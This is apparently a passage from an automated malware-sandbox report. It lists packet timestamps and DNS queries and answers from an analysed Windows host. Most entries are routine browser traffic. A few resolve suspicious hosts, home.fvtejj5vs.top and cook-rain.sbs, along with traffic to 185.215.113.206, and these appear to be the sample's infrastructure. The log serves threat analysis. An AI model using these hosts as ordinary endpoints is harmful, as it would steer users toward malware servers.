Nov 18, 2024 08:55:48.368803978 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368841887 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368841887 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368858099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368881941 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368894100 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368906975 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368910074 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368918896 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368927956 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368940115 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368952990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368953943 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368963003 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368974924 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368983984 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368987083 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368997097 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368999004 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.369012117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.369023085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.369026899 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.369035959 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.369044065 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.369049072 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.369059086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.369060993 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.369071007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.369082928 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.369086027 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.369096041 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.369108915 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.369117975 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.369138002 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.369163036 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.369968891 CET	49941	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.370022058 CET	443	49941	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.370050907 CET	49941	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.370060921 CET	443	49941	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.370218039 CET	49944	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.370235920 CET	443	49944	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.370296955 CET	49944	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.370301962 CET	443	49944	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.377008915 CET	49963	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.377043009 CET	49964	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.377048016 CET	443	49963	13.107.246.45	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 08:55:26.377732992 CET	192.168.2.7	1.1.1.1	0xaac	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:26.377904892 CET	192.168.2.7	1.1.1.1	0xf691	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 08:55:29.906759977 CET	192.168.2.7	1.1.1.1	0x2bbb	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:29.907007933 CET	192.168.2.7	1.1.1.1	0x5f66	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 18, 2024 08:55:30.904278040 CET	192.168.2.7	1.1.1.1	0x8136	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:30.904464960 CET	192.168.2.7	1.1.1.1	0xdcb3	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 18, 2024 08:55:37.769329071 CET	192.168.2.7	1.1.1.1	0x39df	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:37.769653082 CET	192.168.2.7	1.1.1.1	0xe471	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 18, 2024 08:55:39.036856890 CET	192.168.2.7	1.1.1.1	0x7a54	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:39.037261963 CET	192.168.2.7	1.1.1.1	0xd5aa	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 18, 2024 08:55:40.503437042 CET	192.168.2.7	1.1.1.1	0xe7fc	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:40.503691912 CET	192.168.2.7	1.1.1.1	0x1b03	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 18, 2024 08:55:40.516180992 CET	192.168.2.7	1.1.1.1	0x60fc	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:40.516464949 CET	192.168.2.7	1.1.1.1	0x2aa7	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 18, 2024 08:55:40.521167040 CET	192.168.2.7	1.1.1.1	0xc55c	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:40.522495031 CET	192.168.2.7	1.1.1.1	0x917d	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 18, 2024 08:55:40.534070015 CET	192.168.2.7	1.1.1.1	0x1a10	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:40.534260035 CET	192.168.2.7	1.1.1.1	0x1cd5	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 18, 2024 08:55:41.801230907 CET	192.168.2.7	1.1.1.1	0x2a02	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:41.801449060 CET	192.168.2.7	1.1.1.1	0xdc45	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 08:55:41.801733971 CET	192.168.2.7	1.1.1.1	0xaaec	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:41.803906918 CET	192.168.2.7	1.1.1.1	0x7332	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 08:55:41.821371078 CET	192.168.2.7	1.1.1.1	0xa4b1	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:41.823905945 CET	192.168.2.7	1.1.1.1	0x5c59	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 08:55:42.647516966 CET	192.168.2.7	1.1.1.1	0xfa4	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:42.647923946 CET	192.168.2.7	1.1.1.1	0x7f94	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 18, 2024 08:57:03.886080980 CET	192.168.2.7	1.1.1.1	0xbb86	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:03.886188030 CET	192.168.2.7	1.1.1.1	0x517	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 08:57:13.012761116 CET	192.168.2.7	1.1.1.1	0x5b6a	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.415119886 CET	192.168.2.7	1.1.1.1	0xc15e	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.438962936 CET	192.168.2.7	1.1.1.1	0xfd92	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 08:57:28.776149988 CET	192.168.2.7	1.1.1.1	0xe9c9	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.784359932 CET	192.168.2.7	1.1.1.1	0x21c4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.815254927 CET	192.168.2.7	1.1.1.1	0xe0d7	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.819773912 CET	192.168.2.7	1.1.1.1	0xcc89	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.838218927 CET	192.168.2.7	1.1.1.1	0x3944	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 08:57:28.838943005 CET	192.168.2.7	1.1.1.1	0x96da	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 18, 2024 08:57:28.878350973 CET	192.168.2.7	1.1.1.1	0x7d66	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.897861004 CET	192.168.2.7	1.1.1.1	0xb1fe	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.905738115 CET	192.168.2.7	1.1.1.1	0x3de2	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.926135063 CET	192.168.2.7	1.1.1.1	0x737d	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 08:57:28.930017948 CET	192.168.2.7	1.1.1.1	0x35ad	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 08:57:28.942121029 CET	192.168.2.7	1.1.1.1	0x4273	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.953938007 CET	192.168.2.7	1.1.1.1	0x6258	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.998975992 CET	192.168.2.7	1.1.1.1	0x996a	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.002588034 CET	192.168.2.7	1.1.1.1	0x59a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 08:57:29.035322905 CET	192.168.2.7	1.1.1.1	0x52f9	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.044441938 CET	192.168.2.7	1.1.1.1	0x4c62	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 08:57:29.119020939 CET	192.168.2.7	1.1.1.1	0x4dcd	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.164732933 CET	192.168.2.7	1.1.1.1	0x243c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.234942913 CET	192.168.2.7	1.1.1.1	0xc728	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.288857937 CET	192.168.2.7	1.1.1.1	0x29cd	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.289514065 CET	192.168.2.7	1.1.1.1	0x8257	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.314640999 CET	192.168.2.7	1.1.1.1	0x5042	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 08:57:29.314881086 CET	192.168.2.7	1.1.1.1	0xf56f	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 08:57:29.332770109 CET	192.168.2.7	1.1.1.1	0x7680	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.341001987 CET	192.168.2.7	1.1.1.1	0xcdb2	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 08:57:29.424561024 CET	192.168.2.7	1.1.1.1	0xa58a	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.424993992 CET	192.168.2.7	1.1.1.1	0x322c	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.428313971 CET	192.168.2.7	1.1.1.1	0x728a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.701422930 CET	192.168.2.7	1.1.1.1	0x612e	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.701422930 CET	192.168.2.7	1.1.1.1	0xe6e5	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.701618910 CET	192.168.2.7	1.1.1.1	0xd776	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711184978 CET	192.168.2.7	1.1.1.1	0x8c78	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711484909 CET	192.168.2.7	1.1.1.1	0xfe43	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.712838888 CET	192.168.2.7	1.1.1.1	0xadb9	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.805636883 CET	192.168.2.7	1.1.1.1	0x6400	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 18, 2024 08:57:32.806067944 CET	192.168.2.7	1.1.1.1	0x2836	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 18, 2024 08:57:32.806217909 CET	192.168.2.7	1.1.1.1	0xf8a5	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 18, 2024 08:57:32.925292015 CET	192.168.2.7	1.1.1.1	0xe5f1	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.925601959 CET	192.168.2.7	1.1.1.1	0x4bf1	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.933324099 CET	192.168.2.7	1.1.1.1	0x7ec1	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.953512907 CET	192.168.2.7	1.1.1.1	0x55e3	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.955163002 CET	192.168.2.7	1.1.1.1	0x8fac	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.998136997 CET	192.168.2.7	1.1.1.1	0xd19c	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 08:57:32.998548031 CET	192.168.2.7	1.1.1.1	0x2ba4	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:33.034029007 CET	192.168.2.7	1.1.1.1	0x9036	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 18, 2024 08:57:33.074574947 CET	192.168.2.7	1.1.1.1	0xcb5f	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 18, 2024 08:57:35.423748016 CET	192.168.2.7	1.1.1.1	0x5886	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 08:57:46.405956984 CET	192.168.2.7	1.1.1.1	0xe5db	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
2024-11-18 07:55:43 UTC	192.168.2.7	162.159.61.3	0x0	Standard query (0)	assets.msn.com	65	IN (0x0001)	true

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 08:55:26.384378910 CET	1.1.1.1	192.168.2.7	0xaac	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:26.384422064 CET	1.1.1.1	192.168.2.7	0xf691	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 08:55:29.914089918 CET	1.1.1.1	192.168.2.7	0x5f66	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:29.914100885 CET	1.1.1.1	192.168.2.7	0x2bbb	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:29.914100885 CET	1.1.1.1	192.168.2.7	0x2bbb	No error (0)	plus.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:30.911282063 CET	1.1.1.1	192.168.2.7	0x8136	No error (0)	play.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:37.776526928 CET	1.1.1.1	192.168.2.7	0x39df	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:37.776537895 CET	1.1.1.1	192.168.2.7	0xe471	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:37.822726965 CET	1.1.1.1	192.168.2.7	0x223	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:37.822726965 CET	1.1.1.1	192.168.2.7	0x223	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:37.822989941 CET	1.1.1.1	192.168.2.7	0xec0	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:39.043996096 CET	1.1.1.1	192.168.2.7	0x7a54	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:39.044769049 CET	1.1.1.1	192.168.2.7	0xd5aa	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:40.510108948 CET	1.1.1.1	192.168.2.7	0xe7fc	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:40.510108948 CET	1.1.1.1	192.168.2.7	0xe7fc	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:40.510108948 CET	1.1.1.1	192.168.2.7	0xe7fc	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:40.510108948 CET	1.1.1.1	192.168.2.7	0xe7fc	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:40.524712086 CET	1.1.1.1	192.168.2.7	0x2aa7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:40.527951002 CET	1.1.1.1	192.168.2.7	0xc55c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:40.529453993 CET	1.1.1.1	192.168.2.7	0x917d	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:40.529623032 CET	1.1.1.1	192.168.2.7	0x60fc	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:40.541014910 CET	1.1.1.1	192.168.2.7	0x1a10	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:40.541028976 CET	1.1.1.1	192.168.2.7	0x1cd5	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:41.807950020 CET	1.1.1.1	192.168.2.7	0xdc45	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 08:55:41.808024883 CET	1.1.1.1	192.168.2.7	0x2a02	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:41.808024883 CET	1.1.1.1	192.168.2.7	0x2a02	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:41.808722019 CET	1.1.1.1	192.168.2.7	0xaaec	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:41.808722019 CET	1.1.1.1	192.168.2.7	0xaaec	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:41.810451031 CET	1.1.1.1	192.168.2.7	0x7332	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 08:55:41.828107119 CET	1.1.1.1	192.168.2.7	0xa4b1	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:41.828107119 CET	1.1.1.1	192.168.2.7	0xa4b1	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:41.830769062 CET	1.1.1.1	192.168.2.7	0x5c59	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 08:55:42.654342890 CET	1.1.1.1	192.168.2.7	0xfa4	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:55:42.654342890 CET	1.1.1.1	192.168.2.7	0xfa4	No error (0)	googlehosted.l.googleusercontent.com		216.58.206.33	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:55:42.654656887 CET	1.1.1.1	192.168.2.7	0x7f94	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:04.486355066 CET	1.1.1.1	192.168.2.7	0xbb86	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:13.054549932 CET	1.1.1.1	192.168.2.7	0x5b6a	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:13.054549932 CET	1.1.1.1	192.168.2.7	0x5b6a	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.412231922 CET	1.1.1.1	192.168.2.7	0x60f1	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.421948910 CET	1.1.1.1	192.168.2.7	0xc15e	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.783154011 CET	1.1.1.1	192.168.2.7	0xe9c9	No error (0)	youtube.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.791098118 CET	1.1.1.1	192.168.2.7	0x21c4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:28.791098118 CET	1.1.1.1	192.168.2.7	0x21c4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.822195053 CET	1.1.1.1	192.168.2.7	0xe0d7	No error (0)	youtube.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.826781034 CET	1.1.1.1	192.168.2.7	0xcc89	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.844994068 CET	1.1.1.1	192.168.2.7	0x3944	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 08:57:28.845616102 CET	1.1.1.1	192.168.2.7	0x96da	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 18, 2024 08:57:28.884813070 CET	1.1.1.1	192.168.2.7	0x4e90	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:28.884813070 CET	1.1.1.1	192.168.2.7	0x4e90	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.885179043 CET	1.1.1.1	192.168.2.7	0x7d66	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.905167103 CET	1.1.1.1	192.168.2.7	0xb1fe	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.912621975 CET	1.1.1.1	192.168.2.7	0x3de2	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.948941946 CET	1.1.1.1	192.168.2.7	0x4273	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:28.948941946 CET	1.1.1.1	192.168.2.7	0x4273	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:28.960566998 CET	1.1.1.1	192.168.2.7	0x6258	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.006200075 CET	1.1.1.1	192.168.2.7	0x996a	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:29.006200075 CET	1.1.1.1	192.168.2.7	0x996a	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:29.006200075 CET	1.1.1.1	192.168.2.7	0x996a	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.043333054 CET	1.1.1.1	192.168.2.7	0x52f9	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.052604914 CET	1.1.1.1	192.168.2.7	0x4c62	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 08:57:29.126219034 CET	1.1.1.1	192.168.2.7	0x4dcd	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:29.171644926 CET	1.1.1.1	192.168.2.7	0x243c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.195780039 CET	1.1.1.1	192.168.2.7	0x879b	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:29.195780039 CET	1.1.1.1	192.168.2.7	0x879b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
